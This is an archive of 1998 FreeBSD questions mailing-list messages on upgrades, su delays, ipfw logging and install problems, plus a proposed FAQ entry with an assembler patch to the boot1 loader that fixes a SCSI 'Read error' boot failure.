However all is working fine now... If this info can help anyone else I'll be happy. One day I plan on contributing to FreeBSD Project. Maybe just log my experiences.. :-) **** Thanks to all who helped me with other questions from 04/06/98 *** *********************************************************************** Thank You ! Stephen A. Derdau "So What if it is wrong. I am getting closer to the right answer!" "If I had a nickle for every time I was wrrong , I would want a quarter instead. :-)" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 18:10:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA05348 for freebsd-questions-outgoing; Tue, 7 Apr 1998 18:10:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA05330 for ; Tue, 7 Apr 1998 18:10:32 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id SAA05999; Tue, 7 Apr 1998 18:07:41 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd005996; Wed Apr 8 01:07:38 1998 Date: Tue, 7 Apr 1998 18:02:39 -0700 (PDT) From: Julian Elischer To: Doug Lo cc: freebsd-questions@FreeBSD.ORG Subject: Re: Writing device drivers. In-Reply-To: <3529BAD7.E978AA40@ms11.hinet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG one idea is to look at: (in -current or 2.2.6) /usr/share/examples/drivers julian On Tue, 7 Apr 1998, Doug Lo wrote: > Hi, > > I want to write device drivers on FreeBSD, would anyone know where has > information about it? > > Thanks in advance, > Doug. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 18:22:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA09663 for freebsd-questions-outgoing; Tue, 7 Apr 1998 18:22:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from colossus.dyn.ml.org (dburr@206-18-115-111.la.inreach.net [206.18.115.111]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA09484 for ; Tue, 7 Apr 1998 18:21:40 -0700 (PDT) (envelope-from dburr@colossus.dyn.ml.org) Received: (from dburr@localhost) by colossus.dyn.ml.org (8.8.8/8.8.7) id SAA04014 for freebsd-questions@freebsd.org; Tue, 7 Apr 1998 18:15:27 -0700 (PDT) (envelope-from dburr) Message-ID: X-Mailer: XFMail 1.2 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Tue, 07 Apr 1998 18:15:26 -0700 (PDT) Organization: Computer Help From: Donald Burr To: FreeBSD Questions Subject: Unusual "su" behavior since upgrade to 2.2.6 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Ever since upgrading to 2.2.6, my system, the "su" command is pausing a long time before printing the "Password:" prompt. ++++++++++ [dburr@control:141 ~]% su (a pause -- sometimes short, sometimes long [seems to depend on how active my ppp connection is]) su: kerberos: not in root's ACL. Password: _ ++++++++++ (Actually, the "su: kerberos: not in root's ACL." message is NOT new -- it has been displaying this for me since 2.2.2, but only now (2.2.6) has the long pause started happening. I mention it here because I think that perhaps they are related [maybe su is trying to find a Kerberos server on the net, which is going out through my ppp connection...?) Any ideas? - --- Donald Burr - Ask me for my PGP key | PGP: Your WWW HomePage: http://DonaldBurr.base.org/ ICQ #1347455 | right to Address: P.O. Box 91212, Santa Barbara, CA 93190-1212 | 'Net privacy. Phone: (805) 957-9666 FAX: (800) 492-5954 | USE IT. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNSrPrfjpixuAwagxAQF4TQP/c7ouDux0acMZYInZt3b41UIneo1iwV29 w0hxD38TFOzzpwtBMknCGrlPXZXrfVgoFXKQTRZ5nY2OhOU2J1uNWOZ3Fak9uFUe OXo2mRQLPYKHbOfJpAtlDAh8iHeIATiJcqoMaZ2frvJKu9uFmmX5Wdfx2PGkjfN1 pLscTP418Q8= =u+VI -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 18:33:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA12199 for freebsd-questions-outgoing; Tue, 7 Apr 1998 18:33:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.bellatlantic.net (mail1.bellatlantic.net [199.45.32.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA12180 for ; Tue, 7 Apr 1998 18:33:11 -0700 (PDT) (envelope-from chado@p3.net) Received: from chado2 (client-151-197-119-1.bellatlantic.net [151.197.119.1]) by mail1.bellatlantic.net (8.8.5/8.8.5) with SMTP id UAA07059 for ; Tue, 7 Apr 1998 20:32:53 -0500 (EST) Message-Id: <3.0.3.32.19980407212448.00911dd0@popmail.p3.net> X-Sender: chado@popmail.p3.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Tue, 07 Apr 1998 21:24:48 -0400 To: freebsd-questions@FreeBSD.ORG From: Chado Subject: Using IPFW for logging Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gents, I would like to use the ipfw software to see the originating IP, the destination IP, the port and the expiration time of the packet Can you use ipfw for this or do you know of another firewall/ipforwarding software that does this more effectively. I know that on a RedHat Linux system you can use ipfwadm -M -l -n to see the origin IP, the destination IP, the port and expiration time of the packet. Does FreeBSD have anything like this? I appreciate the assistance, JS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 18:47:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA14060 for freebsd-questions-outgoing; Tue, 7 Apr 1998 18:47:06 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from topgun.asiapac.net ([202.188.0.106]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA14054 for ; Tue, 7 Apr 1998 18:46:58 -0700 (PDT) (envelope-from hlwong@asiapac.net) Received: from neverland.asiapac.net ([202.188.0.68]) by topgun.asiapac.net (Netscape Mail Server v2.0) with SMTP id AAA5839 for ; Wed, 8 Apr 1998 09:45:28 +0800 Message-Id: <3.0.3.32.19980408094536.008d0210@mail.asiapac.net> X-Sender: hlwong@mail.asiapac.net (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Wed, 08 Apr 1998 09:45:36 +0800 To: questions@FreeBSD.ORG From: Wong Horn Lim Subject: Problem of upgrade from 2.2.5_RELEASE to 2.2.6_RELEASE Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Guys, Recently I got the step by step guide on how to upgrade my freebsd 2.2.5-Release to 2.2.6-Release, and and I attach the guide below. The problem I am having is on step #7, 'make world', it fill up my /usr partition, and here is the the last few line of error message I got --------------------------------- ===> usr.bin/rlogin cc -nostdinc -O -Wall -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/usr.bin/r login/rlogin.c /usr: write failed, file system is full /var/tmp/ccVK5098.s: Assembler messages: /var/tmp/ccVK5098.s:1463: Failed to emit an object byte: No space left on device /var/tmp/ccVK5098.s:1463: Fatal error:Can't continue *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. -------------------------------------- When I install 2.2.5-release, I am installing with source and XFreeBSD, and I have allocated 400MB for /usr partition and 250M for /usr/local Before the upgrade, the /usr is only used about 60% and about 30% for /usr/local, but during the upgrading process, my /usr is fill up, so anyone know how to continue my upgrading or any files I can delete or move to other partition (/home -- I have 1G of space) I try not to re-install 2.2.5 from my CD until i have no other choice. Please cc a copy of your reply to me if you reply to the mailing list. Thanks. Horn Wong Step by step guide to upgrade from 2.2.5-release to 2.2.6-release ====================================================== 1. pkg_add ftp://ftp.freebsd.org/pub/FreeBSD/CVSup/cvsupit.tgz 2. Say yes to everything except to do the Update and the firewall, ports as you wish... 3. vi /etc/cvsupfile 4. change RELENG_2_2 to RELENG_2_2_6_RELEASE 5. cvsup -L 2 -g /etc/cvsupfile 6. cd /usr/src 7. make world (do not reboot afterwards, this takes a long time). 8. backup /etc/ (cd /etc; tar cvf /tempdir/etcback.tar) 9. cd /usr/src/sys/i386/conf 10. cp GENERIC MYKERNEL (your kernel) 11. vi MYKERNEL (edit as desired) 12. config MYKERNEL 13. cd ../../compile/MYKERNEL 14. make depend; make; make install 15. cd /usr/obj/etc (not sure on this one, pulling from memory) 16. rm master.passwd, group, rc.conf (look at this one and merge where necessary), and whichever other files you have modified. 17. copy to /etc the rest (with subdirectories). 18. vi /etc/fstab 19. change wd0a to wd0s1a 20. reboot the beast ========================================================================= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 18:54:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15895 for freebsd-questions-outgoing; Tue, 7 Apr 1998 18:54:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.newwave.net (root@ns.newwave.net [206.99.172.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA15778 for ; Tue, 7 Apr 1998 18:53:56 -0700 (PDT) (envelope-from kenny@newwave.net) Received: from big_joe (pm2s4.logan.newwave.net [208.159.219.134]) by ns.newwave.net (8.9.0.Beta3/8.9.0.Beta3/8.9.0=Jerry) with ESMTP id VAA08581 for ; Tue, 7 Apr 1998 21:53:45 -0400 (EDT) Message-ID: <352AD82D.28DE10B4@newwave.net> Date: Tue, 07 Apr 1998 21:51:41 -0400 From: Kenneth Legg X-Mailer: Mozilla 4.0 [en] (WinNT; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Having no luck X-Priority: 3 (Normal) Content-Type: multipart/alternative; boundary="------------F39C53D2E2B705A07EAE3089" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --------------F39C53D2E2B705A07EAE3089 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I bought the FreeBSD CDROM and I have a Tandy Sensation with a 100 meg hard drive and a 50 mhz (has been upgraded) processor, no cdrom but I have a parallel port zip drive and access to a computer with cdrom is there a way that I can install Freebsd by coping the files to zip. And if this is possible what files do I need on the zip disk. I was trying to put all the files that I needed on the zip and use the setup command to transfer then to DOS 6.22 and boot form the boot disk. when I try this I get a can't fine kernel. Kenny --------------F39C53D2E2B705A07EAE3089 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I bought the FreeBSD CDROM and I  have a Tandy Sensation with a 100 meg hard drive and a 50 mhz (has been upgraded) processor, no cdrom but I have a parallel port zip drive and access to a computer with cdrom is there a way that I can install Freebsd by coping the files to zip. And if this is possible what files do I need on the zip disk. I was trying to put all the files that I needed on the zip and use the setup command to transfer then to DOS 6.22 and boot form the boot disk. when I try this I get a can't fine kernel.

Kenny --------------F39C53D2E2B705A07EAE3089-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 18:58:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA17323 for freebsd-questions-outgoing; Tue, 7 Apr 1998 18:58:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rocksalt.mui.net ([207.12.13.235]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA17058 for ; Tue, 7 Apr 1998 18:57:52 -0700 (PDT) (envelope-from ken@mui.net) From: ken@mui.net Received: from lihing.mui.net (lihing.mui.net [207.12.13.237]) by rocksalt.mui.net (8.8.8/8.8.7) with SMTP id PAA00211 for ; Tue, 7 Apr 1998 15:57:50 -1000 (HST) (envelope-from ken@mui.net) Message-Id: <199804080157.PAA00211@rocksalt.mui.net> Comments: Authenticated sender is To: faq@FreeBSD.ORG Date: Tue, 7 Apr 1998 15:55:43 +0000 MIME-Version: 1.0 Content-type: Multipart/Mixed; boundary=Message-Boundary-22893 Subject: from "Roger P. Johnson" X-mailer: Pegasus Mail for Win32 (v2.54) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Message-Boundary-22893 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Enclosed is a faq he's been trying to send out. ken --Message-Boundary-22893 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Text from file 'roger.txt' From: "Roger P. Johnson" Subject: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list. To: faq@FreeBSD.ORG Date sent: Tue, 7 Apr 1998 17:57:43 -0500 (CDT) Hello, I am submitting this FAQ in hope that it may be entered into the official FreeBSD FAQ. After experiencing this problem first hand, searching the net, watching and posting to the mailing list, I have had no luck in getting a decent reply in how to fix the problem or what is going wrong. This problem is not just an isolated incident. In the approximately nine months of monitoring the mailing lists, I am seeing this question posted more and more from various users. So I dug into the source code and this is what I found as the problem and a solution to it. Enclosed at the very end of this letter, is the post I am posting to the questions@FreeBSD.org mailing list. That post goes into more detail, and this letter is really just a summary of that. IF you do decide to put this Q&A in the official FAQ, please feel free edit this info to what is more appropriate for the FAQ. Thanks, Roger P. Johnson rjohnson@hirshfields.com (612) 374-0230 Here is the Q&A for the FAQ: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? A: Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). Your BIOS bootstrap code is not passing the BIOS boot device in register "dl". The FreeBSD boot program "boot1" which is on the first sector of the disk, expects this to be in register dl. But in your case, since it is not setup in the dl register, the way boot1 is coded, it will then try to boot off of a bootable floppy disk in the disk drive. And since you don't have a floppy in the floppy disk drive, the boot1 program halts and issues the "Read error" message. To fix this quirk in your boot up procedure, you need to manually apply a patch to the boot1 program, compile, install and reboot. How to fix: ----------- 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) End of FAQ letter. ================================================================================ Beginning of my detailed posting to "questions@FreeBSD.org" ================================================================================ Hi! For all of you that have encountered this annoyance of a problem, I have good news for you! Below are the hows and whys of the "Read error" message that you receive on boot after installing FreeBSD. I have been trying to get an answer to this for the last 6-9+ months, and have been unable to get an explanation of what this problem is and how to _really_ fix it. Finally I started looking at the startup code and found the problem. Isn't having the source code available wonderful? :) I checked the FreeBSD homepage pertaining to FAQ Question #103 which only mentions the "Read error" in passing, but to no use. A similar post to this has been submitted to the FAQ maintainers. Maybe it can be put in the FAQ for the next poor soul that encounter this. OK. Here's the stuff you want to know: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). So here is what I am going to cover: What circumstances does this occur under? Where does the message come from ? Why does it occur? and finally, What's the solution ? 1. Circumstances: ============== As mention earlier, you probably have a SCSI controller, a SCSI hard disk that you are using to boot from, you dedicated FreeBSD to the whole drive, and just some bad luck. I Don't believe this happens with IDE drives. I have all Phoenix BIOS's, Adaptec controllers and all Seagate SCSI hard drives and this happens to me. And other posters don't give all the complete hardware details of their system to compare with. (I don't believe that the BIOS in the PC ROM is the BIOS that boots the system, but the BIOS in your SCSI Controller card that is performing the boot. (Just try turning off the DOS INT 13H stuff on the SCSI card and see what you get). Thus I don't know if it matters whether you have a Phoenix BIOS (like all my machines do) or whether you are using maybe AMI etc. etc. and encountering this.) 2. Where does the message come from ? ================================== The message indeed comes from not the BIOS, but FreeBSD, namely the "boot1" program which lies on sector 0 of the hard disk. This first sector of the hard disk is commonly known as the "boot block" and also as the "Master Boot Record" or "MBR" for short. This boot block is the first block that is read off of the hard disk, placed into memory, and jumped to by the bootstrapping microcode in the BIOS. Buried in the boot code is the "Read error" message, along with another message "No bootable partition". This boot code also holds the fdisk partion table. When dedicating the whole drive to FreeBSD, this is just a "dummy" fdisk table. 3. Why does it occur ? =================== The reason this is occurs is because the FreeBSD boot1 program expects the BIOS boot device number to be passed to it in the "dl" register by the BIOS bootstrap code. A note here, is that ALL disk i/o activity is handled by the system BIOS UNTIL the kernel is loaded and started. Then the disk i/o bypasses the BIOS through the SCSI sub-system. (The BIOS calls are the int 13h stuff ...) Apparently, and I do not know why, there are circumstances in which the BIOS bootstrap code fails to place the BIOS boot device number into this register. Without this device number in register dl, the boot1 program doesn't branch to the normal booting off the hard drive code. But instead, it tries to boot off of the floppy disk. Yes the floppy disk. But since their isn't a bootable floppy disk in the dirve, the BIOS call to read the boot block off of the floppy disk fails, and finally boot1 issues a "Read error" and terminates (actually, it "terminates" by puting itself into an endless loop). So when you get "Read error", it has absolutely nothing to do with your hard drive! Very misleading! 4. What's the solution ? ======================= There are 2 options. Both easy to do. 1. You can do a "shared" or cooperative installation and live with it. Yuck. -or- 2. You can apply two lines of assembler code to the boot1 program, compile and install it on your hard drive. (You don't have to know assembler to fix this folks). I won't discuss option number 1, so here is how to do option 2. Enclosed at the end of this post is my complete fixed boot1 program and a listing of just the diffs. How to fix: ----------= 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Either use my "start.S" file enclosed, or edit your own start.S file and put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) 4. Comments ========= I say that this is a BIOS/Hard drive combonation problem, and NOT just a BIOS quirk as some say. This is why: Given one machine of mine, if I install FreeBSD onto a 1.1 GB SCSI HD using an Adaptec 2940U SCSI-2 controller, I get "Read error". Now, take that drive out. Replace it with a 2.1 GB SCSI HD, install FreeBSD and it boots and works correctly! Seeing how the ONLY change in the system was the hard drives (both where Seagate by the way), it is not isolated to _just_ the BIOS itself. Weird. I have been through so many combonations of drives (old and new), controllers and PC's that I can't even count them. I can sum it up this way: Adaptec 2940 series with Seagate 1.1GB hard drives --> Read error. Adaptec 1542 series with Seagate 1.1GB hard drives --> OK. One thing that is nice about the way the code is patched in start.S is that you can use that boot1 code on any dedicated FreeBSD machine you have. If you have a "normal" booting machine, it will never hit the patched code. If you have a "Read error" machine, then the patch will catch it and still let you boot. This solved a dilema I had in that I have a bunch of production machines using the 1542 series, but I am slowly upgrading them to the 2940AU series. Well, now I can have one hot spare disk with the patched boot code on it for when/if I have a hard disk crash, I know that the drive will boot with either controller on it. It also answers my question of the SCSI formats and how backward compatable SCSI is. I can put in a 2940AU and run FreeBSD that was installed on the disk via an old 1542B card and run with it. What causes the BIOS to pass the BIOS boot drive number into register dl in one situation and not the next, I don't know why. Maybe there is a BIOS/assembler guru out there that can answer this ;) ? I would like to know if Linux does/would have this problem as well. I am real tempted to buy a copy of Linux to test it out this hardware setup that I have. I hope I have helped others with this post. Maybe the FreeBSD team can redo the startup code to address this in some way? Good luck, Roger "getting into the hardware more that I wanna" Johnson rjohnson@hirshfields.com <----------------- here is my "start.S" file ----------------------------------> /* * Mach Operating System * Copyright (c) 1992, 1991 Carnegie Mellon University * All Rights Reserved. * * Permission to use, copy, modify and distribute this software and its * documentation is hereby granted, provided that both the copyright * notice and this permission notice appear in all copies of the * software, derivative works or modified versions, and any portions * thereof, and that both notices appear in supporting documentation. * * CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS" * CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR * ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE. * * Carnegie Mellon requests users of this software to return to * * Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU * School of Computer Science * Carnegie Mellon University * Pittsburgh PA 15213-3890 * * any improvements or extensions that they make and grant Carnegie Mellon * the rights to redistribute these changes. * * from: Mach, Revision 2.2 92/04/04 11:36:29 rpd * $Id: start.S,v 1.8 1996/07/12 05:42:02 bde Exp $ */ /* Copyright 1988, 1989, 1990, 1991, 1992 by Intel Corporation, Santa Clara, California. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies and that both the copyright notice and this permission notice appear in supporting documentation, and that the name of Intel not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. INTEL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL INTEL BE LIABLE FOR ANY SPECIAL, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN ACTION OF CONTRACT, NEGLIGENCE, OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "asm.h" .file "start.S" SIGNATURE= 0xaa55 LOADSZ= 15 /* size of unix boot */ PARTSTART= 0x1be /* starting address of partition table */ NUMPART= 4 /* number of partitions in partition table */ PARTSZ= 16 /* each partition table entry is 16 bytes */ BSDPART= 0xA5 /* value of boot_ind, means bootable partition */ BOOTABLE= 0x80 /* value of boot_ind, means bootable partition */ NAMEBLOCKMAGIC= 0xfadefeed /* value of magicnumebr for block2 */ /* * This DEBUGMSG(msg) macro may be useful for debugging. Its use is * restricted to this file since it only works in real mode. */ #define DEBUGMSG(msg) \ data32 ; \ mov $msg, %esi ; \ data32 ; \ call message .text ENTRY(boot1) /* * start (aka boot1) is loaded at 0x0:0x7c00 but we want 0x7c0:0 * ljmp to the next instruction to adjust %cs */ data32 ljmp $0x7c0, $start start: /* set up %ds */ mov %cs, %ax mov %ax, %ds /* set up %ss and %esp */ data32 mov $BOOTSEG, %eax mov %ax, %ss /* * make a little room on the stack for * us to save the default bootstring we might find.. * effectively, we push the bootstring. */ data32 mov $BOOTSTACK-64, %esp /* set up %es, (where we will load boot2 to) */ mov %ax, %es /* bootstrap passes us drive number in %dl */ cmpb $0x80, %dl data32 jae hd fd: data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd /* * XXX some bootstraps don't pass the drive number in %dl. * This is a problem mainly when we are block 0 on a floppy. * Force drive 0 for floppies. * XXX %dl was assumed valid in the test that led here. */ mov $0x0, %dl /* reset the disk system */ movb $0x0, %ah int $0x13 data32 mov $0x0001, %ecx /* cyl 0, sector 1 */ movb $0, %dh /* head */ data32 jmp load hd: /**** load sector 0 into the BOOTSEG ****/ data32 mov $0x0201, %eax xor %ebx, %ebx /* %bx = 0 */ data32 mov $0x0001, %ecx data32 andl $0xff, %edx /*mov $0x0080, %edx*/ int $0x13 data32 jb read_error /* find the first 386BSD partition */ data32 mov $PARTSTART, %ebx data32 mov $NUMPART, %ecx again: addr32 movb %es:4(%ebx), %al cmpb $BSDPART, %al data32 je found data32 add $PARTSZ, %ebx data32 loop again data32 mov $enoboot, %esi data32 jmp err_stop /* * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ found: addr32 movb %es:1(%ebx), %dh /* head */ addr32 movl %es:2(%ebx), %ecx /*sect, cyl (+ 2 bytes junk in top word) */ load: #ifdef NAMEBLOCK /* * Load the second sector and see if it is a boot instruction block. * If it is then scan the contents for the first valid string and copy it to * the location of the default boot string.. then zero it out. * Finally write the block back to disk with the zero'd out entry.. * I hate writing at this stage but we need this to be persistant. * If the boot fails, then the next boot will get the next string. * /etc/rc will regenerate a complete block2 iff teh boot succeeds. * * Format of block 2 is: * [NAMEBLOCKMAGIC] <--0xdeafc0de * [nulls] * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.experimental * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.old * .... * [bootstring]NULL <---e.g. 0:wd(0,f)/kernel * FF FF FF */ where: /* * save things we might smash * (that are not smashed immedatly after us anyway.) */ data32 push %ecx /* preserve 'cyl,sector ' */ data32 push %edx /* * Load the second sector * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0201, %eax /function 2 (read) 1 sector */ xor %ebx, %ebx /* %bx = 0 */ /* buffer address (ES:0) */ data32 movl $0x0002, %ecx /* sector 2, cylinder 0 */ data32 andl $0x00ff, %edx /* head 0, drive N */ int $0x13 data32 jb read_error /* * confirm that it is one for us */ data32 xorl %ebx, %ebx /* magic number at start of buffer */ data32 addr32 movl %es:(%ebx), %eax data32 cmpl $NAMEBLOCKMAGIC, %eax data32 jne notours /* not ours so return to caller */ /* * scan for a bootstring * Skip the magic number, and scan till we find a non-null, * or a -1 */ incl %ebx /* quicker and smaller */ incl %ebx incl %ebx scan: incl %ebx addr32 movb %es:(%ebx), %al /* load the next byte */ testb %al, %al /* and if it is null */ data32 /* keep scanning (past deleted entries) 